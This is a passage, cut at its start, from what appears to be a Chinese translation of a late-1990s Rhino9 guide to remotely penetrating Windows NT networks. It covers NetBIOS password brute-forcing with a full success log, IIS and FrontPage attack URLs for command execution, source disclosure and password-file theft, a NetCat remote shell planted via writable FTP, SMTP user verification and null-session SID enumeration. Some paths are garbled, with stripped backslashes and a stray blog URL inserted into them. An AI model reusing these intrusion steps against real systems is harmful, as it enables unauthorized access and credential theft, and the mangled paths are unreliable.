灰心喪氣,隨即離開。不過,有耐心的入侵者會繼續進行Brute Force攻擊。
無庸置疑,Brute Force NetBIOS攻擊最常用的工具是NAT。NAT(NetBIOS檢查工具)
工具讓使用者能夠通過可能的使用者名稱/口令列表使網路連線命令自動操作。NAT將通過所提供
的列表中的每一個使用者名稱和每一個口令試著連線到遠端機上。這是一個很漫長的過程,但
攻擊者往往會使用一個常見口令的縮短列表。
一個成功的入侵者會通過上述資訊收集方法建立他自己的使用者名稱列表。入侵者準備使
用的口令列表也是通過收集到的資訊建立的。他們通常從不充實的口令列表開始,然後根
據使用者名稱建立其餘的口令列表。這對於那些能找到給使用者名稱設定的口令的安全專業人士來
說完全是意料之中的事。
攻擊者可以指定一個要攻擊的IP地址,也可以指定整個範圍內的IP地址。NAT會盡力
完成這項任務,並一直生成格式化報告。
下面是通過internet進行真正NAT攻擊的實際結果檔案。儘管Rhino9小組在進行這一
攻擊時獲得准許,但為了保護測試目標還是更改了IP地址。
— Reading usernames from userlist.txt
— Reading passwords from passlist.txt
— Checking host: 0.0.0.0
— Obtaining list of remote NetBIOS names
— Attempting to connect with name: *
— Unable to connect
— Attempting to connect with name: *SMBSERVER
— CONNECTED with name: *SMBSERVER
— Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
— Server time is Tue Oct 14 11:33:46 1997
— Timezone is UTC-4.0
— Remote server wants us to encrypt, telling it not to
— Attempting to connect with name: *SMBSERVER
— CONNECTED with name: *SMBSERVER
— Attempting to establish session
— Was not able to establish session with no password
— Attempting to connect with Username: `ADMINISTRATOR` Password: `ADMINIS
TRATOR`
— Attempting to connect with Username: `ADMINISTRATOR` Password: `GUEST`
— Attempting to connect with Username: `ADMINISTRATOR` Password: `ROOT`
— Attempting to connect with Username: `ADMINISTRATOR` Password: `ADMIN`
— Attempting to connect with Username: `ADMINISTRATOR` Password: `PASSWOR
D`
— CONNECTED: Username: `ADMINISTRATOR` Password: `PASSWORD`
— Obtained server information:
Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]
— Obtained listing of shares:
共享名型別註釋
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
D$ Disk: Default share
E$ Disk: Default share
HPLaser4 Printer: HP LaserJet 4Si
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
print$ Disk: Printer Drivers
— This machine has a browse list:
伺服器註釋
AENEMA
— Attempting to access share: \*SMBSERVER
— Unable to access
— Attempting to access share: \*SMBSERVERADMIN$
— WARNING: Able to access share: \*SMBSERVERADMIN$
— Checking write access in: \*SMBSERVERADMIN$
— WARNING: Directory is writeable: \*SMBSERVERADMIN$
— Attempting to exercise .. bug on: \*SMBSERVERADMIN$
— Attempting to access share: \*SMBSERVERC$
— WARNING: Able to access share: \*SMBSERVERC$
— Checking write access in: \*SMBSERVERC$
— WARNING: Directory is writeable: \*SMBSERVERC$
— Attempting to exercise .. bug on: \*SMBSERVERC$
— Attempting to access share: \*SMBSERVERD$
— WARNING: Able to access share: \*SMBSERVERD$
— Checking write access in: \*SMBSERVERD$
— WARNING: Directory is writeable: \*SMBSERVERD$
— Attempting to exercise .. bug on: \*SMBSERVERD$
— Attempting to access share: \*SMBSERVERE$
— WARNING: Able to access share: \*SMBSERVERE$
— Checking write access in: \*SMBSERVERE$
— WARNING: Directory is writeable: \*SMBSERVERE$
— Attempting to exercise .. bug on: \*SMBSERVERE$
— Attempting to access share: \*SMBSERVERNETLOGON
— WARNING: Able to access share: \*SMBSERVERNETLOGON
— Checking write access in: \*SMBSERVERNETLOGON
— Attempting to exercise .. bug on: \*SMBSERVERNETLOGON
— Attempting to access share: \*SMBSERVERprint$
— WARNING: Able to access share: \*SMBSERVERprint$
— Checking write access in: \*SMBSERVERprint$
— WARNING: Directory is writeable: \*SMBSERVERprint$
— Attempting to exercise .. bug on: \*SMBSERVERprint$
— Attempting to access share: \*SMBSERVERROOT
— Unable to access
— Attempting to access share: \*SMBSERVERWINNT$
— Unable to access
如果您仔細地檢視這些結果,就能找到向攻擊者通知該工具已經發現有效使用者名稱/口
令的CONNECTED訊息。這時,入侵者只需通過新發現的使用者名稱/口令重新連線到那臺機器,
繼而進行攻擊。
對通過NetBIOS進行遠端滲透的探討到此為止。請記住,上面所討論的各種方法既不
是靜態的,也不是獨立的。那些花費大量時間對如何滲透基於NT的網路進行研究的入侵者
很富有創造力,他們不僅利用上述各種方法,而且在使用過程中把這些方法個性化。
通過Web伺服器進行的資訊收集與滲透
==============================================================================
目前,通過Web伺服器進行的資訊收集與遠端滲透因internet上的人口爆炸以及因此
而導致的資訊分佈已經是眾所周知。在討論NT Web伺服器上的遠端滲透和資訊收集時,我
們將把重點放在與NT 4.0捆綁在一起的Web伺服器——Internet資訊伺服器上。
儘管有一些要探討的問題確實過時了,但我們在這裡之所以涉及到這些內容,是因為
Rhino9小組在專業檢查中發現有些公司在他們的生產環境中仍然執行比較舊的軟體版本。
我們從資訊收集方法開始談起。我們將討論在攻擊過程中收集資訊的各種方法以及通
過Web伺服器獲得能在其它型別的攻擊中利用的資訊。
首先,我們將探討如何檢索目標機上的Web伺服器軟體包和版本。一些對安全性知識
一無所知的人可能會感到驚訝,為什麼會有人想了解目標機的Web伺服器版本?軟體的不
同版本都具有不同的脆弱性。因此,入侵者希望瞭解這些Web伺服器軟體和版本。
用來獲取Web伺服器軟體和版本的最老練的方法是telnet到HTTP埠上的目標主機。
一旦建立了telnet連線,只需發出一個簡單的GET命令就能檢視到HTTP標題資訊,這些信
息包括正被使用的Web伺服器軟體和版本。
不喜歡使用遠端登入或不希望通過標題資訊解析的人會嘗試著使用好幾種方法。第一
個也可能是非成功入侵者中最常用的工具是Netcraft。入侵者可以訪問[url]www.netcraft.com[/url]
並通過他們的查詢引擎從遠端目標檢索Web伺服器資訊。Netcraft還可以用來檢索所有已
知的Web伺服器主機名。例如,如果我們想找到屬於someserver.com域的所有Web伺服器,
就可以用Netcraft的引擎來查詢*.someserver.com,接著它會返回一個該域中所有Web服
務器主機的列表。其它能用來檢索Web伺服器版本的工具包括1nf0ze(Suld)和Grinder
(Rhino9的horizon)(所有這些工具的URLs見本文結尾處)。
一旦入侵者確定他所接近的是什麼樣的Web伺服器包,即可擬訂攻擊計劃。
注:這一節僅僅對一些較常見的攻擊進行介紹。
要涉及到的第一個攻擊是.bat/.cmd缺陷。由於這個缺陷已被公開證實,因此我們引
用如下(作者未知。如果其作者有機會閱讀本文,請馬上通知我們,以便於及時向作者支
付稿酬)。
.bat和.cmd BUG是Netscape伺服器中一個眾所周知的bug,其描述見WWW安全性常見問
題解答第59個問題。我們對如何在Internet資訊伺服器中實現這個bug已經介紹過多次。
現在我們來看一看IIS Web伺服器的初次安裝,其中所有的設定都是預設的:
1) CGI目錄是/scripts
2) 在/scripts目錄下沒有abracadabra.bat或abracadabra.cmd檔案。
3) IIS Web伺服器把.bat和.cmd副檔名對映到cmd.exe。
因此,登錄檔關鍵字
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesW3SVC
ParametersScriptMap有以下字串:
a) /scripts/abracadabra.bat?&dir+c:+?&time
b) /scripts/abracadabra.cmd?&dir+c:+?&time
同時會發生下列情況:
1) 瀏覽器詢問您想怎樣儲存一個文件。Notepad.exe或其它閱讀器適用於這一“類
型”的應用。
2) 瀏覽器開始下載對話。螢幕上出現下載視窗。
3) 黑客點選下載視窗上的“取消”按鈕,因為伺服器上的”time”命令永遠不會終
止。
4) IIS Web伺服器不會在伺服器端記錄任何資訊,因為執行程式沒有成功地終止!
!!(幸虧採用了”time”命令。)想了解究竟發生了什麼事情的唯一方法是檢查所有的NT
安全記錄。但是,這些記錄不包含象REMOTE_IP這樣的資訊。因此,黑客的機器是完全匿
名的。
我們再重新開始:
1) IIS Web伺服器允許黑客通過輸入
/scripts/abracadabra.bat?&COMMAND1+?&COMMAND2+?&…+?&COMMANDN來執行他的
“批處理檔案”。在Netscape伺服器中,只能執行單一命令。
2) 在/scripts目錄下沒有abracadabra.bat檔案,但.bat副檔名被對映到
C:WINNT35System32cmd.exe。在Netscape伺服器中,實際的.bat檔案必須存在。
3) 在黑客輸入象”time”或”date”這樣的命令作為COMMAND[N]時,IIS Web伺服器不
會記錄任何資訊。在Netscape伺服器上,錯誤記錄會有一個關於遠端IP和您試著執行的命
令的記錄。
如果您不能正確地掌握這種情況下所發生的一切,入侵者就會採用以上攻擊順序在服
務器端生成檔案並予以執行。根據攻擊者的技術水平和意圖,其行為會產生不同的效果。
幸運的是,大多數工作環境已經不再執行舊得足以受這些缺陷影響的Internet資訊伺服器
版本。
在對bat/cmd缺陷進行徹底調查和證明之後不久,另一個bug又震驚了業界。同樣幸運
的是,這個缺陷也僅僅對舊版本的IIS造成影響。這個被稱為”double dot bug”的缺陷
使Web站點的訪問者能夠從允許訪問的web根目錄下逃脫並瀏覽或下載檔案。很顯然,最終
伺服器會包含不在指定Web根目錄下的敏感資訊,而這個簡單的缺陷會為外來者訪問這些
敏感資訊提供機會。這個命令是作為URL執行的,其結構如下:
[url]http://www.someserver.com/..[/url]..
當double dot bug不夠用時,不久之後就出現了這個缺陷的另一個變體。這個新發現
的缺陷使入侵者能夠執行目標機上的指令碼檔案。由於這個新缺陷是double dot bug的一個
變體,因此,這些指令碼檔案都不在web根目錄下。這種攻擊也是作為URL執行的,其結構如
下:
[url]http://www.someserver.com/scripts..[/url]..scriptname
Internet資訊伺服器的WindowsNT安裝需要一些用於公共訪問身份認證的帳戶。如果
這些帳戶沒有以任何方式出現,那麼,每一個訪問站點的訪問者都要提供身份資訊。這並
不是一個提供公用Web站點的非常有效的方法。在Internet資訊伺服器上,要使用的帳戶
是IUSR_account。這個帳戶及其口令都是在安裝過程中生成的。根據預設值,該帳戶是
Everyone群組的一個成員,而且,Everyone群組對NT驅動器上的所有資訊具有隻讀訪問權
限。這些方法與上述的缺陷相結合就會造成巨大的安全性破壞。
有段時間以來, URL相關的新攻擊型別每週都會出現。在上述指令碼缺陷之後出現的是
另一個指令碼相關的bug,它使入侵者能夠在目標機上生成一個檔案,隨後再執行該檔案。
其URL結構是:
[url]http://www.someserver.com/scripts/script_name%0A%0D>PATH[/url] arget.bat
當這個缺陷首次出現時,業界有很多人都不大重視這個問題。接著,就有訊息釋出,
證明了入侵者為獲得修復SAM拷貝會採取的具體步驟。其中就包括了上面的URL缺陷,它是
整個攻擊的組成部分。
當Microsoft釋出Internet資訊伺服器3.0時,活動的伺服器頁面(active server
page)技術開始走向世界。而同時,這一發布也為影響IIS和NT4的大量新缺陷的出現開啟
了大門。
活動的伺服器頁面為Microsoft界提供了簡單的和動態的Web頁面。人們可以通過很多
不同的方法來使用,如資料庫連線、標引與搜尋文件、身份認證以及用於那些討厭的廣告
標題的簡單圖形旋轉等。
活動的伺服器頁面這一概念實際上是相當有創造力的。HTML程式碼包括有在伺服器端執
行併為終端使用者生成動態內容的嵌入式指令碼程式碼。有了這個被廣泛使用的新技術,向公眾
釋出第一個缺陷也就指日可待了。這個被成為”dot flaw”的第一個缺陷使入侵者能夠在服
務器不執行指令碼的情況下檢視到指令碼。
其標準的URL結構是:
[url]http://www.genericserverhere.com/default.asp[/url]
其攻擊URL結構是:
[url]http://www.genericserverhere.com/default.asp.[/url]
這一攻擊會在攻擊者的Web瀏覽器上顯示未執行程式碼。不用說,指令碼程式碼會包含敏感
資訊,如遠端連線到資料庫上的使用者名稱/口令。在所有資訊中,這一類資訊是使用者不希望
入侵者接觸到的資訊。
當dot flaw的修復方法釋出時,也釋出了對付修復方法的缺陷的變體。第一個變體是
%2e。%2e是period的十六進位制值,因此,這表明所提供的修復方法還不夠健壯。這種缺陷
的各種變體有時還在出現。由於所有變體都產生相同的最終結果,所以這裡就不一一贅述
了。下面是一些攻擊URL結構:
[url]http://www.someserver.com/default%2easp[/url]
[url]http://www.someserver.com/default%2e%41sp[/url]
[url]http://www.someserver.com/default.asp::$DATA[/url]
[url]http://www.someserver.com/shtml.dll?.asp[/url]
安全界的每一個人都有這樣的感覺:近期內,這些方法不會是最後的指令碼顯示方法。
隨著這些指令碼的應用越來越廣泛,它們將包含越來越多的敏感資訊。這些簡單的方法可導
致入侵者輕而易舉地獲得敏感資訊。
就通過IIS收集資訊而言,最常見和容易的攻擊之一就是索引伺服器(Index Server)
攻擊。索引伺服器是一個包括在internet資訊伺服器(IIS)3.0中的小搜尋引擎模組。這個
模組使Web管理員能夠向訪問其站點的訪問者提供搜尋Web站點內容的可搜尋介面。雖然索
引伺服器本身並沒有什麼問題,但如果Web站點管理員缺乏培訓就會出現問題。索引服務
器的安裝和維護都很簡單,不過,它對目錄和作用域的使用會導致管理員不能正確地配置
允許許可權和可搜尋內容。這一配置問題會使入侵者獲得在一般情況下他需要花大量的時間
和精力才能得到的對資訊的訪問許可權。
這種攻擊的預設URL結構是:
[url]http://www.someserver.com/samples/search/queryhit.htm[/url]
這個路徑反應出了進入樣本頁面的預設路徑。如果這個路徑不是一個有效路徑,入侵
者就會仍然點選具有幫助作用的標題“Search This Site”連結,訪問相同的資訊。一旦
入侵者成功地訪問到該html文件,就會出現一個包含有表格欄位的Web頁面。在這個表格
欄位中,訪問者一般都會輸入他想搜尋的資訊。入侵者會採用一個檔名搜尋字串,
如:
#filename=*.txt
這個字串會指示索引伺服器通過索引的資料目錄搜尋任何以該副檔名結尾的文
件。請記住,這個副檔名並不侷限於索引伺服器能理解的副檔名。如果索引伺服器遇
到一個它不知道的檔案型別,它就會把這個檔案型別當作二進位制來處理,並對檔名、擴
展名、日期及其它屬性編寫索引。這表明入侵者可搜尋任何資訊,包括能搜尋到修復sam
的*._。有趣的是,索引伺服器與其它internet搜尋引擎不同,它不會顯示請求者沒有訪
問許可權的檔案。也就是說,如果索引伺服器返回一個它找到檔案的資訊,那麼該檔案就是
可訪問的。
入侵者會試著利用的另一個預設功能是Internet資訊伺服器Web管理介面。在IIS預設
的安裝中,Web管理介面內建在Web根目錄的”iisadmin”子目錄下,這說明它的URL攻擊
結構是:
[url]http://www.someserver.com/iisadmin[/url]
如果管理員在這個介面上已經錯誤地配置了允許許可權,那麼,入侵者就會通過管理功
能獲得對Web伺服器的未授權訪問。如果訪問成功,就會出現一個管理工具的html介面。
根據IIS和NT處理允許許可權的方法,入侵者有可能得到訪問介面的許可權,但沒有真正採取
任何行動的允許許可權。因此,如果您正在檢查您自己的網路,一定要作一些小的更改,以
確定網路是不是有問題。
在97年底和98年初曾經發生過大量的Web伺服器攻擊。在這些攻擊中,大部分攻擊都
具有一個共同點:web伺服器正在執行Microsoft Frontpage Extensions。Frontpage
Extensions是很小的”web bots”,如果您願意,即可讓作者或web站點管理員執行復雜或
相關的任務。
Frontpage Extensions存在的問題是,預設的Frontpage安裝不安全,尤其是在UNIX
版本中。大量支援這些副檔名的伺服器都沒有設口令,或者把管理許可權分配給Everyone群
組。這裡的Everyone群組還是表示每個人,包括匿名連線。
下面,我們來看一看第一個採用Frontpage客戶機軟體進行的攻擊。
支援Frontpage的伺服器會有若干個以字母”_vti”開頭的工作目錄。在任何常用的
搜尋引擎上搜尋預設的Frontpage目錄會得到大量從引擎上返回的資訊。然後,入侵者就
能對這些伺服器進行簡單而又反覆的攻擊。這種攻擊的執行過程如下:
1- 開啟您自己的Frontpage個人拷貝
2- 進入”Open frontpage web”對話方塊
3- 輸入您要攻擊的伺服器的URL或IP
如果伺服器沒有設口令,或者,如果允許許可權是分配給Everyone群組的,Frontpage
就會為您開啟遠端站點並允許您能夠進行更改。這種攻擊實際上是很簡單的。如果副檔名
正確,就會出現使用者名稱/口令對話。入侵者可以嘗試一些基本的組合如管理員/口令。如果
入侵者有興趣,他會一直嘗試下去。
另外,入侵者還可以用同樣的”open frantpage web”方法來得到完整的使用者列表。這
種方法可以用在brute force攻擊中。鑑於對通過這種方法終止使用者名稱的收集進行解釋的
檔案資料已經公開發布,您就應該建立一個象FP_[url]www.yourdomain.com:80[/url]這樣的限制群
組。這個新的限制群組確實起作用,除非入侵者採用的是您的伺服器的IP地址,而不是域
名。
還有其它一些方法能夠與Frontpage一起使用,它們會抓取Frontpage口令檔案。
Frontpage一般把口令儲存在_vti_pvt目錄下,有相同的service.pwd。入侵者會試著執行
下列URL:
[url]http://www.someserver.com/_vti_pvt[/url]
如果允許許可權設定不正確並允許目錄瀏覽,入侵者就會得到該目錄下的檔案,包括
service.pwd。管理員通常會重視安裝和站點的安全性並限制對該目錄的訪問。儘管這個
方法不錯,但始終要防止NTFS對網路造成破壞。根據NTFS的配置,使用者仍然可以得到口令
檔案的訪問許可權,即使對其父資料夾的訪問已經被拒絕。在這種情況下,入侵者只需在
URL中輸入訪問該檔案的完整路徑,如:
[url]http://www.someserver.com/_vti_pvt/service.pwd[/url]
儘管Frontpage口令檔案是加密檔案,但它是用標準DES加密的,因此,任何DES解密
高手都能在正確診斷該檔案後獲得口令資訊。另外,入侵者也會刺探其它_vti目錄,因為
這些目錄有時也會儲存敏感資訊。在掌握了使用者名稱並對口令解密後,入侵者就會用他的
Frontpage重新連線並提供身份證明資訊;或者,如果相同的使用者名稱/口令在上下文中能起
作用,入侵者即可通過其它方式利用這些身份證明資訊,如對映網路驅動器等。
(注:Service.pwd不是唯一已知的口令檔名。已經掌握的口令檔案有Authors.pwd
, admin.pwd, users.pwd和administrators.pwd等。)
在Frontpage相關的方法中,二進位制FTP方法被看作是技術上最成熟的方法,雖然這種
方法實現起來相當容易。這個二進位制攻擊會使入侵者通過Frontpage副檔名執行任意二進
制檔案。入侵者必須找到既支援Frontpage又支援FTP匿名可寫程式的伺服器。在通過FTP
連線到伺服器之後,入侵者就可以新建一個名為_vti_bin的目錄。然後他就可以下載他想
放在新建目錄下的任何可執行程式。一旦上載了可執行檔案,入侵者就會輸入下列URL:
[url]http://www.someserver.com/_vti_bin/uploaded_file[/url]
然後,伺服器就會執行這個檔案。
在二進位制進攻方法被傳播開來不久之後就發現了_vti_cnf。這會使入侵者檢視到特定
目錄下的所有檔案。通過用_vti_cnf替換index.html,入侵者就能看到該目錄下的所有文
件,並有可能獲得訪問許可權。這種攻擊結構如下:
標準結構—[url]http://www.someserver.com/some_directory_structure/index.html[/url]
攻擊結構—[url]http://www.someserver.com/some_directory_structure/_vti_cnf[/url]
看起來,能產生類似結果的相同攻擊型別數不勝數。遺憾的是,事實確實如此。在這
些缺陷中,有很多已經被研究缺陷變體的人士所發現,但並不是所有影響NT Web服務的缺
陷都來自Internet資訊伺服器。
另外還有其它一些將在NT上執行的Web伺服器軟體包,象眾所周知的Apache Web服務
器。當然,有了這些第三方Web伺服器軟體包和在這些第三方軟體包上執行的指令碼,新的
缺陷註定會暴露出來。
Webcom Datakommunikation曾經發布了一個允許Web站點的訪問者在來賓卡上簽名的
cgi指令碼。Cgi指令碼的名字是guest.exe。只要發出正確的命令,這個小小的cgi指令碼就會使
攻擊者檢視到您伺服器上的任意文字檔案。
訪問者要簽名的表格頁面包含了很多隱藏欄位。其中一個隱藏輸入欄位如下(根據
David Litchfield的報告):
input type=”hidden” name=”template”
value=”http://blog.77169.com/c:inetpubwwwrootgb emplate.htm”>
or
input type=”hidden” name=”template” value=”http://blog.77169.com/”/gb/template.htm”>
” 這裡的template.htm是在使用者輸入資訊後通過wguest.exe顯示出來的檔案。為了利用
這一點,攻擊者會檢視原始碼並把該文件儲存在他的桌面上,然後通過改變他想檢視的任
意檔案的路徑對這一行進行編輯,例如:
input type=”hidden” name=”template”
value=”http://blog.77169.com/c:winntsystem32$winnt$.inf”>
[如果完成了獨立安裝,即可通過這個檔案得到管理口令]
然後,點選”Submit”,wguest.exe就會顯示這個檔案。這種方法沒有用PWL檔案測
試過。不過,攻擊者必須知道他要檢視的檔案的正確路徑。
另一個“類屬的”HTTPD方法涉及到一個在WindowsNT上執行的第三方Web伺服器產
品,稱為Sambar伺服器。下面是直接從招貼中引用的內容:
檢視攻擊物件的HDD是大有可能的。您可通過使用這些關鍵字
+sambar +server +v4.1
搜尋Internet,找到執行Sambar伺服器的計算機。
如果您找到的站點是:[url]http://www.site.net/[/url],就做一次測試,執行一個perl指令碼:
[url]http://www.site.net/cgi-bin/dumpenv.pl[/url]
現在您看到的是攻擊物件的計算機的完整環境,包括他的路徑。您可以試著通過以下
URL以管理員的身份登入:
[url]http://www.site.net/session/adminlogin?Rcpage=/sysadmin/index.html[/url]
預設登入為:admin;預設口令為空白。如果攻擊物件還沒有更改他的設定,您現在
就能控制他的伺服器。另一個特徵是檢視攻擊物件的HDD。如果您能執行perl指令碼,也就
應該能(在大多數情況下)通過他的路徑檢視目錄的指令碼。大多數人在路徑行中都有
C:/program files和C:/windows,因此,您可以利用以下URL:
[url]http://www.site.net/c:/program[/url] files/sambar41
我們在這裡簡單提一下Netscape Enterprise Server。有些軟體版本通過允許使用者訪
問目錄對?PageServices引數作出反應。[url]http://www.site.net/?PageServices[/url]就是實現方
法。
最後,我們再來看看FTP。FTP是一個比較安全的協議。很多人會認為平臺和版本冗餘
使它更安全,總的來說,這種看法是正確的。但多數經驗豐富的安全專業人士會告訴您,
如果最終管理員沒有受過專業培訓,版本和平臺實在沒有多大意義。鑑於Rhino9按照FTP
允許許可權已經能夠滲透大量的伺服器,我們就在這裡給一個簡單的提示。有些管理員不會
注意或理解他們的Web伺服器上的”Anonymous world writable”。但Rhino9通過一個錯
誤配置的FTP伺服器提出了疑問並滲透到整個網路。
通過anon-ftp-writable把NetCat上載到伺服器上、通過URL執行這個程式以及把它綁
定到埠上都很容易實現。從那一刻起,您在NT上就有了一個遠端“外殼”。通過連線到
該遠端NetCat繫結,所有從該外殼發出的命令列功能似乎都是從具有在內部使用者上下文中
執行的NetCat繫結的那個外殼發出的。
其它的資訊收集與滲透方法
==============================================================================
(如同那些包括很多不同主題的安全相關文件一樣,有些主題似乎有點不合時宜。這
一節將探討一些確實不適合本文的不同方法。如有內容不完整之處,敬請原諒。)
如果說Rhino9小組有一個投入大量時間來研究的產品,那就是WinGate。第一個有關
WinGate的問題是通過具有所有後續連線的WinGate進行“彈跳”的功能。這個小缺陷非常
容易使用。入侵者可以遠端登入到WinGate埠並看到這樣的提示符:
WinGate>
在該提示符下,您能發出一個獨立的遠端登入命令,或者利用WinGate的SOCK功能建
立其它連線。當該軟體產品的開發商急於釋出其修復版本和公告欄時,下一個版本的釋出
也出現了問題。
在WinGate的預設安裝中,WinGate機器是用記錄服務配置的。記錄服務監聽WinGate
機器的8010埠。通過建立該埠的HTTP連線,入侵者就會得到兩個資訊:
“Connection Cannot Be Established”
或WinGate機器硬驅的列表。請記住,這是一個預設安裝,可以通過更改預設安裝配
置來修復。
隨著Exchange伺服器成為越來越通用的郵件伺服器包,其缺陷也開始出現。第一個暴
露出來的缺陷是Exchange結構中的口令快取記憶體問題。下面是直接從原版招貼中引用的內
容:
用提供有POP3服務的Exchange 5.0在您的NT域上新建一個使用者xyz。把xyz的口令設定
為a1234。到目前為止一切都正常。現在把xyz的口令更改為b5678。您就會發現無論使用
這兩個口令中的哪一個,POP3郵件客戶機都能登入。現在再把口令改為另一個值,您會發
現POP3客戶機(或直接遠端登入到110埠)能夠用這三個口令中的任何一個登入。結果
是這些口令都起作用。由於Exchange 5.0服務POP3連線符采用非雜湊機制對口令進行高速
快取,因此,所有的口令都能起作用。這一特徵既不影響用來接收那些採用不同身份認證
的郵件的Web頁面新介面,也不影響NT登入。在非POP3登入資訊中,口令不是快取記憶體的
(除了NNTP和LDAP以外)。如您所看到的,快取記憶體問題在特定環境中是一個非常嚴重的
問題。
入侵者用來收集資訊的另一個方法是基於目標郵件伺服器的SMTP埠的。為了保證適
應SMTP並能與internet上的其它郵件實體完全互動,基於NT的SMTP郵件伺服器要掌握驗證
特徵。通過建立與郵件伺服器SMTP埠的遠端登入會話,入侵者能夠發出連同使用者名稱一起
的驗證命令。如果驗證特徵被啟用,伺服器就能告訴入侵者它是否是有效的使用者名稱。攻擊
命令是:
vrfy administrator (該命令會驗證使用者指定的管理員是否存在)
在一些郵件系統上,首先要求入侵者完成HELO排序,不過這一步非常簡單。顯而易
見,這會導致入侵者收集到有效使用者名稱列表,然後用於其它攻擊。
結束語
==============================================================================
本文的作者希望您通過閱讀本文能夠做到學有所用。另外,我們也想提醒讀者的是,
我們希望本文始終能跟上目前業界的發展情況。我們計劃在不久的將來發布本文的更新版
本,從而及時提供管理員和安全專業人士都能利用的最新資訊。請將您的資訊收集與遠端
滲透方法寄至[email]neonsurge@hotmail.com[/email]。一旦釋出本文的新版本,我們會在NTBugTraq等列
表上發出通知。本文的主頁在Rhino9 Web站點上([url]http://rhino9.ml.org[/url])。
本文的作者在近期內有另外三個文件準備釋出。這三個文件都屬於NT WarDoc系列,
分別是即將完成的服務拒絕、本地滲透方法以及一篇論述用來警惕其它論文主題的方法的
論文。我們衷心地希望能及時得到業界的反饋資訊。
附錄A:NET命令
==============================================================================
下面是所有Net命令及其功能:
Net Accounts:顯示口令、登入限制和域資訊的當前設定。另外,它還包含有更新使用者帳
戶資料庫和修改口令、登入要求的選項。
Net Computer:通過域資料庫增加或刪除計算機。
Net Config Server or Net Config Workstation:顯示有關伺服器服務的配置資訊。在
沒有指定伺服器或工作站的情況下使用時,這個命令顯示可配置服務的列表。
Net Continue:恢復被NET PAUSE命令暫停的NT服務。
Net File:列出伺服器上公開的檔案,併為關閉共享檔案和清除檔案鎖定提供選項。
Net Group:顯示有關群組名字的資訊,並提供您能用來增加或修改伺服器上的全域性群組
的選項。
Net Help:這些命令的幫助資訊。
Net Helpmsg message#:獲得有關特定NET錯誤或功能訊息的幫助資訊。
Net Localgroup:列出伺服器上的本地群組。您也可以修改這些群組。
Net Name:顯示接收訊息的計算機和使用者的名字。
Net Pause:中斷特定的NT服務。
Net Print:顯示列印作業和共享佇列。
Net Send:把訊息傳送給網路上的其它使用者、計算機或訊息處理名字。
Net Session:顯示有關當前會話的資訊。它還可以切斷特定會話。
Net Share:列出計算機上所有正被共享的資源的資訊。它還可用來建立網路共享。
Net Statistics Server or Workstation:顯示統計記錄。
Net Stop:停止NT服務,取消該服務正在使用的任何連線。大家都知道,停止一個服務即
可停止其它服務。
Net Time:用來顯示或設定計算機或域的時間。
Net Use:顯示已連線計算機的列表,並提供共享資源的連線和切斷選項。
Net User:顯示計算機的使用者帳戶列表,並提供建立和修改這些帳戶的選項。
Net View:顯示計算機上正被共享的資源的列表。包括NetWare伺服器。
**有關DOS和舊版本Windows機器的註解:以上列出的命令適用於Windows NT伺服器和工作
站。DOS和舊版本的Windows客戶機可使用下列NET命令:
Net Config
Net Diag(執行診斷程式)
Net Help
Net Init(載入協議和網路介面卡驅動程式)
Net Logoff
Net Logon
Net Password(更改口令)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver(顯示網路轉向器的型別和版本)
Net View
附錄B SID工具的使用例項
==============================================================================
下面是SID工具的使用例項,是直接從有關該工具的公告蘭上引用的:
這個缺陷與實用程式User2id和Sid2User一起使用。這些實用程式利用的是
LookupAccountName和LookupAccountSid WIN32功能。這些功能必須由具有Everyone訪問
許可權的使用者來執行,實現起來並不困難。
其實現過程如下:
1) 查詢任意域帳戶的一個SID,例如域使用者
user2sid “domain users”
S-1-5-21-201642981-56263093-24269216-513
現在我們知道了當前域的所有次許可權。域帳戶僅與SID的最後一個數字不同,被稱為
RID。
2) 查詢內建管理員名字(RID始終是500)
sid2user 5 21 201642981 56263093 24269216 500
Name is SmallUser
Domain is DomainName
Type of SID is SidTypeUser
現在有可能從第一個域帳戶開始查詢所有的域帳戶(RID = 1000表示第一個帳戶,
1001表示第二個,以此類推。RIDs永遠不會再用於當前的安裝)。
sid2user 5 21 201642981 56263093 24269216 1000
sid2user 5 21 201642981 56263093 24269216 1001
…
請記住:匿名帳戶也是Everyone群組的組成部分。有時也會發生這樣的情況,即匿名
帳戶沒有經過註冊/登出特徵的檢查。
下面這個例子是在假設NetBIOS埠開放的情況下進行的(這個列表是虛構的):
nslookup [url]www.xyz.com[/url]
Non-authoritative answer:
Name: [url]www.xyz.com[/url]
Address: 131.107.2.200
net use \131.107.2.200ipc$ “” /user:””
The command completed successfully.
user2sid \131.107.2.200 “domain users”
S-1-5-21-201642981-56263093-24269216-513
Number of subauthorities is 5
Domain is XYZ_domain
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
sid2user \131.107.2.200 5 21 201642981 56263093 24269216 500
Name is XYZAdmin
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \131.107.2.200 5 21 201642981 56263093 24269216 1000
Name is
Domain is XYZ_domain
Type of SID is SidTypeDeletedAccount
sid2user \131.107.2.200 5 21 201642981 56263093 24269216 1001
Name is Simpson
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \131.107.2.200 5 21 201642981 56263093 24269216 1112
LookupSidName failed – no such account
Default NT Install SID`s are:
DOMAINNAMEADMINISTRATOR
S-1-5-21-917267712-1342860078-1792151419-500 (=0x1F4)
DOMAINNAMEGUEST
S-1-5-21-917267712-1342860078-1792151419-501 (=0x1F5)
Built-In Global Groups
DOMAINNAMEDOMAIN ADMINS
S-1-5-21-917267712-1342860078-1792151419-512 (=0x200)
DOMAINNAMEDOMAIN USERS
S-1-5-21-917267712-1342860078-1792151419-513 (=0x201)
DOMAINNAMEDOMAIN GUESTS
S-1-5-21-917267712-1342860078-1792151419-514 (=0x202)
Built-In Local Group
BUILTINADMINISTRATORS S-1-5-32-544 (=0x220)
BUILTINUSERS S-1-5-32-545 (=0x221)
BUILTINGUESTS S-1-5-32-546 (=0x222)
BUILTINACCOUNT OPERATORS S-1-5-32-548 (=0x224)
BUILTINSERVER OPERATORS S-1-5-32-549 (=0x225)
BUILTINPRINT OPERATORS S-1-5-32-550 (=0x226)
BUILTINBACKUP OPERATORS S-1-5-32-551 (=0x227)
